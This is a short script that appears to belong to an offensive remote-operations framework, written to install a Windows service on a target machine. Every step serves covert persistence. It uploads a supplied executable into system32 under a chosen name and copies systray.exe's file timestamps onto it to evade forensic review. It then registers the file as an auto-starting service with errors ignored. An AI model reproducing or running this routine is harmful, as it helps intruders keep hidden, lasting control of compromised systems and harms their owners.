#--------------------------------------------------------
# File: Install.eps
#
# Wrapper script for Install of Services
#
# Modifications:
#  11/18/2002	Created.
#--------------------------------------------------------

if ($argc != 4) {
    echo "Usage: $argv[0] <ServiceName> <ServiceDescription> <SourceExe>";
    return false;
}

string $ServiceName = $argv[1];
string $ServiceDescrip = $argv[2];
string $SourceExe   = $argv[3];

# check to make sure we're 2000 or higher
@record on;
ifnot (`systemversion`) {
    echo "Unable to get system version -- manually verify that";
    echo "the target system is Windows 2000 or greater";
    pause;
} else {
    int $major = GetCmdData("sysVerMajor");
    int $spMajor = GetCmdData("sysSPMajor");
    if ($major == 4) {
	# NT box
	if ($spMajor < 4) {
	    # Service pack 3 or less
	    echo "*** Target system is pre-NT Sp4. ***";
	    echo "    Services is not compatible with this system";
	    return false;
	}
    }
}

ifnot (prompt "Are you sure you want to install service $ServiceName from $SourceExe?") {
    return false;
}

@record on;

# get the root directory
string $systemroot;

if (`regquery -hive L -subkey "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" -value SystemRoot`) {
    $systemroot = GetCmdData("enum_keyvalue_data");
}

ifnot (defined($systemroot[0])) {
    echo "* Unable to determine system root";
    return false;
}

# get resource directory
ifnot (`getdirectory -scripts`) {
	echo "* Unable to get scripts directory";
	return false;
}

string $ScriptsDir = GetCmdData("dir");
ifnot (defined($ScriptsDir[0])) {
	echo "* Unable to retrieve scripts directory";
	return false;
}

string $resPath = "$ScriptsDir\\..\\..\\Services";

@record off;

# make sure it's not already installed
if (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\$ServiceName`) {
    echo "$ServiceName is already installed (key exists)";
    return false;
}

if (`dir $ServiceName.exe -path "$systemroot\\system32"`) {
    echo "$ServiceName is already installed (file exists)";
    return false;
}

#---------------------------
# Service not installed
#---------------------------

# put the service exe
echo "Uploading $SourceExe";
echo "to $systemroot\\system32\\$ServiceName.exe";
if (`put "$resPath\\$SourceExe" -name "$systemroot\\system32\\$ServiceName.exe" -permanent`) {
    echo "    SUCCESS";
} else {
    echo "    FAILED";
    return false;
}

# match file times for driver
echo "Matching file time for EXE";
if (`matchtimes "$systemroot\\system32\\systray.exe" "$systemroot\\system32\\$ServiceName.exe"`) {
    echo "    SUCCESS";
} else {
    echo "    FAILED (but continuing anyway)";
}


echo "Creating service";
@echo on;
if (`run -command ".\\sc create $serviceName binPath= $systemroot\\system32\\$ServiceName.exe DisplayName= \\"$ServiceDescrip\\" type= own error= ignore start= auto" -redirect create`){
    echo "    run sc create SUCCESS";
} else {
    echo "    run sc create FAILED";
}
@echo off;

# we're done...
return true;